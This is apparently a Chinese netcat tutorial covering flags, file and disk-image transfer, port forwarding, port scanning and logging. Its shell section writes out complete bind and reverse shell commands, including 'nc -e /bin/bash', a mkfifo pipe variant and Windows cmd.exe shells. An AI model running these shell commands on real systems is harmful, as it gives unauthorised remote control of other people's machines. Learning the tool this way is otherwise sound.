nc具体用法

nc简介

1、nc

nc全称netcat，又叫做瑞士军刀，是一款简单、可靠的网络工具

2、nc的作用

1. 实现任意TCP/UDP端口的侦听，nc可以作为server以TCP或UDP方式侦听指定端口
2. 端口扫描，nc可以作为client发起TCP或UDP连接
3. 机器之间传输文件
4. 机器之间网络测速

3、常用参数

-l：用于指定nc将处于侦听模式。指定该参数，则意味着nc被当作server，侦听并接受连接，而非向其它地址发起连接。
-p：本地端口
-s：指定发送数据的源IP地址，适用于多网卡机 
-u：指定nc使用UDP协议，默认为TCP
-v：输出交互或出错信息，新手调试时尤为有用
-w：超时秒数，后面跟数字
-z：表示zero，表示扫描时不发送任何数据
-i：secs 延时的间隔
-L：连接关闭，仍然继续监听
-n：指定数字ip，不能用hostname
-o：file 记录16进制的传输
-r：随机本地及远程端口
-t：使用Telnet交互方式

4、常见用法

1.nc用于文件操作

• 文件上传/下载

服务器：nc -lvp 端口号< 待传输的文件名
本机：nc 服务器ip 端口号 >待传输的文件名

• 目录下载

服务器：tar czvf - src_dir | nc -lvp 9001
本机：nc S 9001 | tar xzvf -

• 目录上传

服务器：nc -lvp 9002 | tar xzvf -
本机：tar czvf - src_dir | nc S 9002

• 文件镜像

服务器：dd if=/dev/sda1 | nc -w 10 客户机ip 端口    //用dd把磁盘做成镜像直接导入 客户端端的1234端口
客户机：nc -l 端口 >文件    //开启1234端口，把内容定向到文件

• 目录镜像

服务器：mkisofs -r /data  | nc -w 10 客户机ip 端口
客户机：nc -l 端口 > 文件

2.nc实现端口转发
前提：能访问目标机的其中一个端口；需要将我们需要的端口在目标机上进行转发到我们能访问的端口

目标机：
nc -l 需要转发的端口  //开启端口并监听
cat /tmp/fifo | nc localhost 需要转发的端口 | nc -l 能正常访问的端口 > /tmp/fifo    //将端口转发到我们能访问到的端口
本机：nc -n 目标机ip 能访问的端口

3.nc实现反弹shell

• 正向反弹

服务器：nc -lvvp 端口 -e /bin/bash
本地：nc 服务器ip 端口

• 反向反弹

服务器：nc -e /bin/bash 本地ip 端口
本地： nc -lvvp 端口

• 不使用-e参数

服务器：
mkfifo /tmp/backpipe也可以创建一个管道。   //mkfifo /tmp/backpipe是在tmp目录下创建管道backpipe;也可以使用mknod创建，不过mknod需要root权限
/bin/sh 0</tmp/backpipe | nc 本地ip 端口 1>/tmp/backpipe  // 将默认shell环境的输入;重定向给刚才创建的管道，然后将输出通过nc attackerip
本地： nc -lvvp 端口

或

服务器：nc 本机ip 端口 | /bin/bash |nc 本机ip 另一个端口   //管道符将上一个端口的输入通过/bin/bash执行后传给下一个端口输出显示
本机：nc -l -p 端口 -vv ；nc -l -p 端口 -vv   //本机上开两个端口

4.其他用法

• 扫描远程主机端口

nc -nvv -w 2 -z 远程主机ip 扫描端口范围（如：80-10000）

• 反弹远程主机的cmd获得shell

远程主机： nc -t -e c:\winnt\system32\cmd.exe 本地ip 端口
本地： nc -lvvp 端口

或

nc - l -p 可访问的远程端口 -t -e cmd.exe  //将cmd重定向到本机的某端口上
本机去访问该端口能获得cmd命令行

• 后台监听端口并把访问信息存到指定文件

nc -L -p 端口 >文件   //可以使用>>追加日志